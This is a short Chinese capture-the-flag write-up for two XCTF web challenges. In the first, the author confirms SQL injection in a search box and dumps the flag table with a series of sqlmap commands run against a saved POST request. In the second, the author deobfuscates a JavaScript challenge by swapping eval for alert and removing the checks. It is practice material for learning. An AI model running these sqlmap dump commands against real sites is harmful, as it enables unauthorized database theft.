攻防世界Web高手进阶区WP(7、8)

145 阅读1分钟

目录

NewsCenter

在这里插入图片描述

打开环境,首先看到一个搜索框

在这里插入图片描述
试试有没有注入,加上单引号网页会跳转到空白页
在这里插入图片描述

加上注释后页面返回正常,注入点存在
在这里插入图片描述
抓包,发现传参方式为post
在这里插入图片描述
然后直接sqlmap一把梭,post注入需要将post包下载为txt文件

爆数据库

python sqlmap.py -r C:\Users\dell\Desktop\1.txt --dbs

在这里插入图片描述
爆表

python sqlmap.py -r C:\Users\dell\Desktop\1.txt -D news --tables

在这里插入图片描述
爆列

python sqlmap.py -r C:\Users\dell\Desktop\1.txt -D news -T secret_table --columns

在这里插入图片描述
爆数据,得到flag

python sqlmap.py -r C:\Users\dell\Desktop\1.txt -D news -T secret_table -C fl4g --dump

在这里插入图片描述

NaNNaNNaNNaN-Batman

在这里插入图片描述
下载附件,打开是一行代码
在这里插入图片描述
看到<script>标签,将后缀改为html,发现是一个输入框
在这里插入图片描述
查看源码,这部分还是会乱码
在这里插入图片描述
不会了,看了眼wp,需要在代码中将最后的eval修改为alert,再次打开网页,就会弹出完整的代码
在这里插入图片描述
整理一下
在这里插入图片描述
有两种方式可以得到flag,一个是按照源代码的要求构造pyload,提价,获取flag。第二种方式是直接把条件的代码给删了,毕竟源码在我们自己手里。

删完之后的代码如下(将四个if都删了):
在这里插入图片描述
打开此时的网页,点一下按钮,直接出来flag
在这里插入图片描述